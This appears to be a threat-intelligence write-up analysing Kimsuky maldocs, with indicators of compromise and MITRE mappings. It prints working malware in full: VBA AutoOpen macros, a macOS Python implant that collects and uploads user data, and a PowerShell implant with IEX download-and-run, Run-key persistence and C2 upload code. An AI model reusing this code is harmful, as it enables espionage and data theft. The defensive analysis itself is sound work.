CyberThreatIntel/North Korea/APT/Kimsuky/2020-03-20/Analysis.md
2020-04-14 21:31:46 +02:00

19 KiB

apt-get install kimsuky

Table of Contents

Malware analysis

Python implant

The initial vector is a maldoc which used a template injection for download and execute the next stage.
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web" TargetMode="External"/>
</Relationships>
This executes a second maldoc with a macro. The first block of the VBA code is the declaration for use the functions of the office version on Mac.
Note : Mac OS X 10.8 comes with Python 2.7 pre-installed by Apple.
#If Mac Then
 #If Win64 Then
  Private Declare PtrSafe Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long
 #Else
  Private Declare Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long
 #End If
#End If
The last block of code is the function for auto-executing the malicious code. This request and execute python code in memory (fileless).
Sub AutoOpen()
On Error GoTo eHandler
 Application.ActiveWindow.View.Type = wdPrintView
 ActiveDocument.Unprotect "1qaz2wsx#EDC"
 Dim s As Shape
 For Each s In ActiveDocument.Shapes
  s.Fill.Solid
  s.Delete
 Next
 Selection.WholeStory
 Selection.Font.Hidden = False
 Selection.Collapse
 ActiveDocument.Save
#If Mac Then
 cmd = "import urllib2;"
 cmd = cmd + "exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1')).read())"
 Result = popen("python -c """ + cmd + """", "r")
#End If
eHandler: 'if an error is throw exit
 Exit Sub
End Sub
Firstly,this declares the imports, interesting to note that use posixpath package for getting a universal path (with "/") for easily manage theirs paths.
import os;
import posixpath;
import urllib2;
Once this done, this create the path, enforce to remove the current maldoc and write it again (force but don't check their existence on the disk) for the persistence.
home_dir = posixpath.expandvars("$HOME");
normal_dotm = home_dir + "/../../../Group Containers/UBF8T346G9.Office/User Content.localized/Templates.localized/normal.dotm"
os.system("rm -f '" + normal_dotm + "'");
fd = os.open(normal_dotm,os.O_CREAT | os.O_RDWR);
data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=normal')).read()
os.write(fd, data);
os.close(fd)
Finally, execute the last fileless python script for the recon actions.
exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read())
The first two functions of the final python script are for executing a new shell and push the program on an infinite loop.
import os
import posixpath
import time
import urllib2
import threading
from httplib import *
   
def ExecNewCmd():
 exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new')).read())

def SpyLoop():
 while True:
  CollectData()
  ExecNewCmd()
  time.sleep(300)
The Collectdata function queries for getting the system informations, files on the differents repertories, pack it on a password ZIP and send it to the C2.
def CollectData():
 #create work directory
 home_dir = posixpath.expandvars("$HOME")
 workdir = home_dir + "/../../../Group Containers/UBF8T346G9.Office/sync"
 os.system("mkdir -p '" + workdir + "'")

 #get architecture info
 os.system("python -c 'import platform;print(platform.uname())' >> '" + workdir + "/arch.txt'")
 #get systeminfo
 os.system("system_profiler -detailLevel basic >> '" + workdir + "/basic.txt'")
 #get process list
 #os.system("ps -ax >> '" + workdir + "/ps.txt'")
 #get using app list
 os.system("ls -lrS /Applications >> '" + workdir + "/app.txt'")
 #get documents file list
 os.system("ls -lrS '" + home_dir + "/documents' >> '" + workdir + "/documents.txt'")
 #get downloads file list
 os.system("ls -lrS '" + home_dir + "/downloads' >> '" + workdir + "/downloads.txt'")
 #get desktop file list
 os.system("ls -lrS '" + home_dir + "/desktop' >> '" + workdir + "/desktop.txt'")
 #get volumes info
 os.system("ls -lrs /Volumes >> '" + workdir + "/vol.txt'")
 #get logged on user list
 #os.system("w -i >> '" + workdir + "/w_i.txt'")
 #zip gathered informations
 zipname = home_dir + "/../../../Group Containers/UBF8T346G9.Office/backup.zip"
 os.system("rm -f '" + zipname + "'")
 zippass = "doxujoijcs0qei09213@#$@"
 zipcmd = "zip -m -r '" + zipname + "' '" + workdir + "'"
 print(zipcmd)
 os.system(zipcmd)

 try:
  BODY = open(zipname, mode='rb').read()
  headers = {"User-Agent" : "Mozilla/5.0 compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0", "Accept-Language" : "en-US,en;q=0.9", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Content-Type" : "multipart/form-data; boundary=----7e222d1d50232"} ;
  boundary = "----7e222d1d50232";
  postData = "--" + boundary + "\r\nContent-Disposition: form-data; name=""MAX_FILE_SIZE""\r\n\r\n1000000\r\n--" + boundary + "\r\nContent-Disposition: form-data; name=""file""; filename=""1.txt""\r\nContent-Type: text/plain\r\n\r\n" + BODY + "\r\n--" + boundary + "--";
  conn = HTTPConnection("crphone.mireene.com")
  conn.connect()
  conn.request("POST", "/plugin/editor/Templates/upload.php", postData, headers)
  conn.close()

  #delete zipped file
  os.system("rm -f '" + zipname + "'")
 except:
  print "error"
This reuse the code of the structure of the php form for sending teh data of the C2.
<form enctype="multipart/form-data" action="upload.php?param=" method="post">
 <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />
 file send: <input name="file" type="file" />
 <input type="submit" value="send" />
</form>
The main code executes a new thread the SpyLoop function.
main_thread = threading.Thread(target=SpyLoop)
main_thread.start()

Powershell implant

The initial vector is a maldoc with a VBA macro which use an auto-execute function for get the content of theirs forms and execute in memory. The rest of the last three functions are useless.
Sub AutoOpen()
 delimage
 interface
 executeps
 shlet
 regpa
End Sub
Sub delimage()
  Selection.Delete Unit:=wdCharacter, Count:=1
End Sub
Function interface()
 TmpEditPath = tptkddlsjangkspdy.Controls(Len("z")).Value
 Set JsEditContent = tptkddlsjangkspdy.Controls(3 - 1 - 1 - 1)
 Open Trim(TmpEditPath) For Output As #2
    Print #2, JsEditContent.Text
 Close #2
End Function
Sub executeps()
d1 = "powershell.exe -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:\windows\temp\bobo.txt');iex $s"
 With CreateObject("WScript.Shell")
  .Run d1,0, False
 End With
End Sub
We can see the command to download and execute the Powershell script.
-------------------------------------------------------------------------------
VBA FORM Variable "TextBox1" IN '.\\vbaProject.bin' - OLE stream: u'tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')
-------------------------------------------------------------------------------
VBA FORM Variable "TextBox2" IN '.\\vbaProject.bin' - OLE stream: u'tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
C:\windows\temp\bobo.txt
Sub shlet()
 Selection.WholeStory
 With Selection.Font
  .NameFarEast = "ÙºæýØÇ Û│áÙöò"
  .NameAscii = ""
  .NameOther = ""
  .Name = ""
  .Hidden = False
 End With
End Sub
Sub regpa()
 With Selection.ParagraphFormat
  .LeftIndent = CentimetersToPoints(2)
  .SpaceBeforeAuto = True
  .SpaceAfterAuto = True
 End With
 With Selection.ParagraphFormat
  .RightIndent = CentimetersToPoints(2)
  .SpaceBeforeAuto = True
  .SpaceAfterAuto = True
 End With
 Selection.PageSetup.TopMargin = CentimetersToPoints(2.5)
 Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)
End Sub
The first block of the Powershell script is the values used for the configuration (Persistence, URL to join, path of the files, for run payload...).
$SERVER_ADDR = "http://mybobo.mygamesonline.org/flower01/"
$UP_URI = "post.php"
$upName = "flower01"
$LocalID = "flower01"
$LOG_FILENAME = "flower01.hwp"
$LOG_FILEPATH = "\flower01\"
$TIME_VALUE = 3600000
$EXE = "rundll32.exe"
$MyfuncName = "Run"
$RegValueName = "Alzipupdate"
$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"
The next block is for getting the same informations that the MacOS version and for decode the commands send by the C2 to execute to the victim.
function Get_info($logpath)
{
 Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath
 dir $env:ProgramFiles >> $logpath
 dir "C:\Program Files (x86)" >> $logpath
 systeminfo >> $logpath
 tasklist >> $logpath
}
function decode($encstr)
{ 
 $key = [byte[]](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6) 
 $len = $encstr.Length
 $j = 0
 $i = 0
 $comletter = ""
 while($i -lt $len)
 {
  $j = $j % 160  
  $asciidec = $encstr[$i] -bxor $key[$j]
  $dec = [char]$asciidec
  $comletter += $dec
  $j++
  $i++
 }

 return $comletter
}
The next function is for download the next commands as job by the C2.
function Download
{
 $downname = $LocalID + ".down"
 $delphppath = $SERVER_ADDR + "del.php"
 $downpsurl = $SERVER_ADDR + $downname
 $codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)
 $comletter = decode $codestring
 $decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)
 $RunningJob = Get-Job -State Running
 if($RunningJob.count -lt 3)
 {
  $JobName = $RunningJob.count + 1
  Start-Job -ScriptBlock $decode -Name $JobName
 }
 else
 {
  $JobName = $RunningJob.count
  Stop-Job -Name $RunningJob.Name
  Remove-Job -Name $RunningJob.Name
  Start-Job -ScriptBlock $decode -Name $JobName
 }
 $down_Server_path = $delphppath + "?filename=$LocalID"
 $response = [System.Net.WebRequest]::Create($down_Server_path).GetResponse()
 $response.Close()
}
The last function is for upload the stolen to C2.
function UpLoadFunc($logpath)
{
 $Url = $SERVER_ADDR + $UP_URI
 $bReturn = $True
 $testpath = Test-Path $logpath
 if($testpath -eq $False){return $bReturn}
 $hexdata = [IO.File]::ReadAllText($logpath)
 $encletter = decode $hexdata
 $nEncLen = $encletter.Length
 $LF = "`r`n"
 $templen = 0x100000
 $sum = 0
 do
 {
  $szOptional = ""
  $pUploadData = ""
  Start-Sleep -Milliseconds 100
  $readlen = $templen;
  if (($nEncLen - $sum) -lt $templen){$readlen = $nEncLen - $sum}
  if ($readlen -ne 0)
  {
   $pUploadData = $encletter + $sum
   $sum += $readlen
  }
  else
  {
   $pUploadData += "ending"
   $sum += 9
   $readlen = 6
  }
  Start-Sleep -Milliseconds 1
  $boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"
  $ContentType = 'multipart/form-data; boundary=' + $boundary
  $bodyLines = (
  "--$boundary",
  "Content-Disposition: form-data; name=`"MAX_FILE_SIZE`"$LF",
  "10000000",
  "--$boundary",
  "Content-Disposition: form-data; name=`"userfile`"; filename=`"$upName`"",
  "Content-Type: application/octet-stream$LF",
  $pUploadData,
  "--$boundary"
  ) -join $LF

  Start-Sleep -Milliseconds 1
  $psVersion = $PSVersionTable.PSVersion  
  $r = [System.Net.WebRequest]::Create($Url)
  $r.Method = "POST"
  $r.UseDefaultCredentials = $true
  $r.ContentType = $ContentType
  $enc = [system.Text.Encoding]::UTF8
  $data1 = $enc.GetBytes($bodyLines)
  $r.ContentLength = $data1.Length
  $newStream = $r.GetRequestStream()
  $newStream.Write($data1, 0, $data1.Length)
  $newStream.Close();
  
  if($php_post -like "ok"){echo "UpLoad Success!!!"}
  else
  {
   echo "UpLoad Fail!!!"
   $bReturn = $False
  }
 } while ($sum -le $nEncLen);
 return $bReturn
}
The main function pushes the persistence, send the data stolen and wait for the new order.
function main
{
 Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
 $FilePath = $env:APPDATA + $LOG_FILEPATH
 New-Item -Path $FilePath -Type directory -Force
 $szLogPath = $FilePath + $LOG_FILENAME
 $key = Get-Item -Path $RegKey
 $exists = $key.GetValueNames() -contains $RegValueName
 if($exists -eq $False)
 {
  $value1 = New-ItemProperty -Path $RegKey -Name $RegValueName -Value $regValue
  Get_info $szLogPath
 }
 
 while ($true)
 {
  FileUploading $szLogPath
  Start-Sleep -Milliseconds 10000
  Download
  Start-Sleep -Milliseconds 10000
  Start-Sleep -Milliseconds $TIME_VALUE
 }
}
main

Threat Intelligence

Similarities between the different versions of kimsuky

Some similarities can be observed :
  • On the URL path used for download script path like {?filename}=FilenameRquested".
  • The structure used for upload the data are edited and pushed in the header.
  • Multiples domains using the same base of the domain mireene.com with recent samples of Kimsuky spotted :
  • Hash (SHA1) Filename Domain
    757a71f0fbd6b3d993be2a213338d1f2 코로나바이러스 대응.doc vnext.mireene.com
    5f2d3ed67a577526fcbd9a154f522cce 비건 미국무부 부장관 서신 20200302.doc nhpurumy.mireene.com
    a4388c4d0588cd3d8a607594347663e0 COVID-19 and North Korea.docx crphone.mireene.com
As also noted by cyberwar15, subdomains of the South Korean domain mireene.com are targeted.
The domains have the same output IP too and are located in South Korea :
IP Route ASN Organization City Region Coordinates Country
101.79.5.222 101.79.5.0/24 AS38661 purplestones Kwangmyŏng Gyeonggi-do 37.4772,126.8664 South Korea

Cyber kill chain

This process graph represent the cyber kill chain of the maldoc vector.

Indicators Of Compromise (IOC)

List of all the Indicators Of Compromise (IOC)
Type Indicator Description
SHA-256 1fcd9892532813a27537f4e1a1c21ec0c110d6b3929602750ed77bbba7caa426 붙임. 전문가 칼럼 원고 작성 양식.doc
SHA-256 828a5527e25e3cab4e97ed25ec2b3d2d7cdf22f868101a33802598cc974d6db4 flower01.ps1
URL http://mybobo.mygamesonline.org/flower01/flower01.ps1 URL delivery
Domain mybobo.mygamesonline.org Domain C2
IP 185.176.43.82 IP C2
URL http://mybobo.mygamesonline.org/flower01/post.php URL C2
SHA-256 7d2b9f391588cc07d9ba78d652819d32d3d79e5a74086b527c32126ad88b5015 COVID-19 and North Korea.docx
URL http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web URL delivery
SHA-256 144242e42335b015145100dbaebf902df3403244921cf81402f67778959c642 web.dotm
URL http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1 URL delivery
SHA-256 0588510dddbd802a5a95fa299d8fa7235b0c270236cbaf51e5b57536222226bf V1.py
SHA-256 7f83912127f5b9680ff57581fc40123c21257bd8e186d7cab4c838a867bb137f V60.py
URL http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new URL delivery
URL http://crphone.mireene.com/plugin/editor/Templates/upload.php URL C2
The IOC can be exported in JSON

References MITRE ATT&CK Matrix

Enterprise tactics Technics used Ref URL
Execution Scripting
PowerShell
https://attack.mitre.org/techniques/T1064/
https://attack.mitre.org/techniques/T1086/
Persistence Registry Run Keys / Startup Folder https://attack.mitre.org/techniques/T1060/
Defense Evasion Scripting https://attack.mitre.org/techniques/T1064/
Discovery Query Registry
Process Discovery
System Information Discovery
https://attack.mitre.org/techniques/T1012/
https://attack.mitre.org/techniques/T1057/
https://attack.mitre.org/techniques/T1082/
This can be exported as JSON format Export in JSON

Yara Rules

A list of YARA Rule is available here

Links

Original tweets:
Links Anyrun: